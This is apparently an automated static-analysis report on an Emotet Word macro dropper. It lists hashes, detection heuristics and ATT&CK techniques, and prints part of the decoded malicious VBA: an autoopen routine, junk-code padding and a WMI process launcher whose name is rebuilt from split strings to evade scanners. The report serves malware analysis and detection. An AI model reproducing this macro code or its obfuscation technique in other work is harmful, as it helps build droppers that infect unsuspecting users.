Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 22b56c3fff64cc6c…

MALICIOUS

Office (OLE)

156.4 KB Created: 2019-05-01 17:22:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: 0814ade8113002a53c0c11f06cdeec68 SHA-1: 1fb44bb1afbba282679428300e1686d521fe92c1 SHA-256: 22b56c3fff64cc6ccc21bcd5ac8a4ce68a75b19d7586475acbb445a45144e401
302 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains critical heuristic firings indicating the presence of obfuscated VBA macros designed to execute malicious code. Specifically, the 'OLE_VBA_WMI_PROCESS_CREATE' and 'OLE_VBA_SPLIT_KEYWORD_OBFUSCATION' rules highlight the use of WMI to launch processes, with the dangerous API name 'winmgmts' being reassembled from split string literals. This strongly suggests the macro's purpose is to download and execute a second-stage payload, a common Emotet tactic.

Heuristics 8

  • ClamAV: Doc.Dropper.Emotet-6959731-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emotet-6959731-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 20821 bytes
SHA-256: 2d88e79f7919c911cbbb79cafcc36dcbe73a3fa259c1322f4a9fb4c7aba89039
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "rBAXQAD"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "uAAoXAA"
Attribute VB_Base = "0{19096DCF-76A5-462A-8778-35A31E472F85}{F67B3265-E105-441A-AEF5-4F299B43ED7A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "kQXAkAA"

Attribute VB_Name = "hwQ_GcA"

Attribute VB_Name = "fAAAGo"

Attribute VB_Name = "wDAAAC"

Attribute VB_Name = "SwQD4wA"

Attribute VB_Name = "hAoAkUAA"

Attribute VB_Name = "NoAQAA"

Attribute VB_Name = "UQQkAUA"
Attribute VB_Base = "0{7A8C2520-D85A-44BB-9E2B-BA822CEDE871}{71ED6B25-321F-42E2-BDDB-385EF688550D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "CAQxxQXB"
Function jAAA1A(aAUAZU)
   Select Case YAkAAX
Case 607876225
Minute CInt(551927326 _
- Tan(uB1AAck * Cos(XBAUAw1) + _
326604505 + 492602580))
End Select
   Select Case YwAAAA4U
Case 497481336
Minute CInt(32682802 _
- Tan(kACA_QAA * Cos(vAooAD) + _
316861906 + 836624005))
End Select
   Select Case rZACUD_
Case 301219825
Minute CInt(526668550 _
- Tan(jAAA_A * Cos(QxGDDAD) + _
122285024 + 489764712))
End Select
Set jAAA1A = CVar(aAUAZU)
   Select Case dAZDAAC
Case 659984310
Minute CInt(902748411 _
- Tan(FQAQ1w1 * Cos(UAAccDZw) + _
982009707 + 725700183))
End Select
   Select Case uGAwQAB
Case 652829185
Minute CInt(921928753 _
- Tan(n1ABQDD * Cos(wACQkADD) + _
260866299 + 635342689))
End Select
   Select Case lU_4QkAB
Case 763528613
Minute CInt(515481722 _
- Tan(FAZ_QA4 * Cos(wQA_XZkw) + _
132327666 + 664152383))
End Select
End Function
Sub autoopen()
   Select Case zoxkUxA
Case 92928073
Minute CInt(586238285 _
- Tan(T_AABQA * Cos(sAoABAU) + _
18523351 + 559651681))
End Select
   Select Case Q1AAAA
Case 632490481
Minute CInt(550323800 _
- Tan(j4X_QA * Cos(HAx1_AAA) + _
211856689 + 664281942))
End Select
Call ucAA_UZX
   Select Case TUUAAB
Case 157315451
Minute CInt(691318453 _
- Tan(LxDAAU * Cos(jB_BBB) + _
939458184 + 5790805))
End Select
   Select Case tAAwUAB_
Case 766343198
Minute CInt(311378348 _
- Tan(kc1BADAQ * Cos(ZXAGwAA4) + _
29514864 + 626480221))
End Select
   Select Case UkDkAAk
Case 252080057
Minute CInt(260540041 _
- Tan(kcAk14 * Cos(QQkAox) + _
850966018 + 986085129))
End Select
End Sub


Attribute VB_Name = "a_D1AoBo"
Function ucAA_UZX()
On Error Resume Next
   Select Case zAGAAD
Case 993877399
Minute CInt(139821193 _
- Tan(kA_xQAA * Cos(b_QBkAA4) + _
653640184 + 255202773))
End Select
   Select Case w1AAQA
Case 180959178
Minute CInt(271576555 _
- Tan(L1AAUx * Cos(JAAXwA) + _
856179382 + 801334810))
End Select
   Select Case nAxAAk
Case 904283128
Minute CInt(374407405 _
- Tan(XC1AAAAZ * Cos(hwDQBA) + _
183660370 + 917968827))
End Select
Set iCUAB1C = jAAA1A(GetObject("w" + "inmgmts:W" + "in32_Process" + "Sta" + "rtup"))
   Select Case dCAAQC1A
Case 201384195
Minute CInt(521324913 _
- Tan(fAwAcA * Cos(bAQZXCDc) + _
214979997 + 347130263))
End Select
   Select Case AQxAxZ1
Case 765570612
Minute CInt(423957614 _
- Tan(wAAkCZ * Cos(FB1AcA) + _
106555726 + 443733542))
End Select
   Select Case lABUAA_
Case 342706215
Minute CInt(304829962 _
- Tan(FGQXDZ4U * Cos(IA_BQDQo) + _
989855003 + 534143441))
End Select
BkA1ABAX = vbError - vbError
   Select Case VDAGUk
Case 564807639
Minute CInt(457366789 _
- Tan(pAGxBQ * Cos(cACDAX) + _
689260177 + 866757292))
End Select
   Select Case iXAD1AA
Case 959099938
Minute CInt(292045512 _
- Tan(fcZXBZ * Cos(uQAAQAB) + _
413918322 + 933936691))

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